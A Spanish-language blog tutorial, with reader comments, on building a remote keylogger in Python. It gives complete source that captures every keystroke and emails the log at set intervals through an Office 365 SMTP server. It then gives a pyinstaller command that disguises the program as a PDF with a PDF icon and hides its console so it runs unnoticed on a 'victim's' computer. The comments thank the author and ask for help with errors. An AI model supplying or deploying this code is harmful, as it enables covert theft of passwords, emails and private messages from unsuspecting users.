Cómo crear un keylogger usando Python
Crea tu propio Keylogger usando Python
En este artículo crearemos nuestro propio keylogger remoto, un keylogger es un programa que registra todas las datos ingresados por el teclado. Programas como estos son muy importantes debido a su naturaleza en almacenar todo lo que el usuario presiona en el teclado.
[wp_ad_camp_1]
Podrás almacerar usuarios, claves, correos, chats y un sin número de casos adicionales, hay 2 tipos de keyloggers: los que guardan la información localmente y los remotos que envían la información a un correo o a un servidor. Este último es más útil para mi y por eso quiero enseñarles cómo hacerlo.
Empezaremos con lo básico del programa y por último crearemos un ejecutable que corra en segundo plano sin que el usuario se de cuenta, para esto lo camuflaremos dentro de un archivo pdf.
No me hago responsable por el uso que le den.
Instalando las librerías
Instalaremos las librerias pynput y pyinstaller, adicionalmente usaremos las librerias que por defecto vienen con python las cuales son threading y smtplib
pip install pynput
[wp_ad_camp_2]
pip install pyinstaller
Creando el código
Importaremos la libreria que previamente instalamos e invocaremos al método keyboard.Listener el cual registra todo lo ingresado en el teclado.
import pynput.keyboard def process_key_press(key): print (key) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
Pero hasta aquí simplemente hemos creado la función pero no la hemos inicializado. Para esto usamos "with" junto con el método .join() al final de nuestro código ya creado.
with keyboard_listener: keyboard_listener.join()
Ahora si corremos el programa notaremos que registra en la consola todo lo que se teclea, pero el resultado no es muy fácil de leer.
Para solucionar esto, modificaremos la función para que omita los espacios además crearemos una función para que se envíen los reportes al correo que querramos dada una cantidad de tiempo que podemos determinar.
Crearemos una clase a la que por convención llamaremos keylogger y en esta pondremos las funciones que hemos creado. Hacemos de esta manera para tener un mejor control, es decir, una programación orientada a objetos.
[wp_ad_camp_3]
A continuación les muestro el código del primer archivo .py de nuestro keylogger (son 2 archivos), considero que no es necesario explicar todo el código porque es fácil de leer y se puede deducir lo que hace. Y si estás en este tutorial es porque ya tienes el conocimiento básico de python y entiendo que quieres ir al grano, ir directo a cómo hacer el keylogger.
El primer archivo .py es el siguiente. Sugiero que lo llames keylogger.py
import pynput.keyboard import threading import smtplib class Keylogger: def __init__(self, time_interval,email,password): self.log = "Keylogger started" self.interval = time_interval self.email = email self.password = password def append_to_log(self, string): self.log = self.log + string def process_key_press(self, key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): self.send_mail(self.email, self.password, "\n\n" + self.log) self.log = "" timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self,email,password,message,): server = smtplib.SMTP("smtp.office365.com", 587) server.starttls() server.login(email,password) server.sendmail(email,email,message) server.quit def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
Nótese que la función send_mail usa la libreria smtplib y a su vez para este ejemplo que yo usé una cuenta hotmail tuve que escribir la dirección smtp (smtp.office365.com) junto con el puerto. Si usas gmail o yahoo puedes googlear cuál es la dirección smtp
Ahora procedemos a crear otro archivo python, este puedes llamarlo como quieras y de preferencia que esté en la misma carpeta donde tienes keylogger.py
En este archivo importaremos keylogger (nuestro primer archivo) y gracias a que creamos una clase la podremos ahora llamar y asignar los parámetros.
[wp_ad_camp_4]
Si revisaste el código del primer archivo (keylogger.py) te habrás dado cuenta que el primer parámetro es el intervalo de tiempo para que se envíen los mensajes, el segundo parámetro es el correo y el tercer parámetro es la clave del correo.
Está de más decir que los reportes serán enviados a esa misma dirección de correo.
import keylogger my_keylogger = keylogger.Keylogger(200,"[email protected]","clave_correo") my_keylogger.start()
Y ya está creado nuestro keylogger
Convirtiéndolo a un ejecutable y ocultándolo en un pdf
Pero esto no es todo, somos buenos hackers éticos y debemos hacer que el programa corra silenciosamente en la computadora de la víctima.
La mejor manera es por medio de incrustar el keylogger en una foto o un pdf. Usaremos la libreria pyinstaller para poder convertir el .py a un .ejecutable .exe y con esta librería también añadiremos un ícono.
En la misma carpeta donde están los dos archivos que hemos creado, daremos click derecho y seleccionaremos abrir ventana de comandos (cmd)
En la ventana de comandos escribiremos estas lineas.
E:\PythonProjects\EthicalHacking\keylogger>C:\Python3\Scripts\pyinstaller.exe --add-data "E:\Desktop\Data\Control\sample.pdf;." --onefile --noconsole --icon C:\Users\Usuario\Downloads\pdf.ico mikeylogger.py
[wp_ad_camp_5]
Te las explico: La primera ruta hace referencia a la carpeta donde yo tenía guardado los archivos, la segunda ruta es donde se instaló la librería pyinstaller (esto debe estar correctamente referenciado).
Luego añadimos el comando --add-data el cual como su nombre lo dice añade la data, en nuestro ejemplo puse la ruta de un pdf de muestra. Esta ruta debe ir entre comillas.
Los comandos --onefile hacen que todo se empaquete en un solo archivo .exe y --noconsole hace que el programa se ejecute en segundo plano sin que se muestre nada a la víctima.
El comando --icon sirve para añadir un ícono al ejecutable, de preferencia que sea un ícono de un pdf
Y por último ponemos el nombre de nuestro segundo archivo .py para que ese sea el que se convierta.
Pyinstaller empaqueta de tal manera que no es necesario que la víctima tenga python instalado lo cual es de extrema utilidad.
Si te gustó este tutorial, déjamelo saber en los comentarios al igual con las dudas y comentarios que tengas.
Así me darás ánimos para seguir escribiendo más tutoriales.
-
Gracias!! Justo lo que necesitaba. =)
-
Excellent post. I was checking continuously this blog and
I'm impressed! Extremely helpful information specially the
last part 🙂 I care for such information much. I was seeking this certain info for a long time.
Thank you and good luck. -
As I website possessor I believe the written content
here is real excellent, regards for your efforts. -
Vegetta como se llama tu crew
-
Hola, como estás hermano gracias por tu ayuda con esta página y este tutorial muy bueno.
Bendito sea y sigas adelante.
La verdad quiero saber si puedes explicarme cómo lo puedo hacer en Python este keylogger pero utilizando Qpython OL para móvil ? O en CShard para móvil utilizando C# Shell ? O en java utilizando JAVA-N IDE por favor te agradezco gracias.
-
disculpe pero quisiera que me ayudaran en que como puedo saber si tengo el smtplib y el threading instalados en mi visual studio code ya que el code creo que no me funciona bn por favor ayuda
-
Hey bro al momento de ejecutar el .exe me sale failed to execute script, tendras alguna solucion? Gracias por la enseñanza
-
Buen tutorial, solo que tengo un problema que espero y me puedas ayudarme a resolver, el script funciona correctamente en python pero cuando paso a convertirlo a .exe y a ejecutarlo ya no funciona, lo mande a ejecutar desde la consola y me salen los siguientes errores:
File "PyInstaller\loader\pyimod03_importers.py", line 540, in exec_module
File "pynput\__init__.py", line 40, in
File "PyInstaller\loader\pyimod03_importers.py", line 540, in exec_module
File "pynput\keyboard\__init__.py", line 31, in
File "pynput\_util\__init__.py", line 76, in backend
ImportError
[4140] Failed to execute script -
Hola, no me esta funcionado el código me dice que hay un error con la primera línea...
-
gracias hermano muy bueno
Deja una respuesta
Lo siento, debes estar conectado para publicar un comentario.
Great content! Super high-quality! Keep it up! 🙂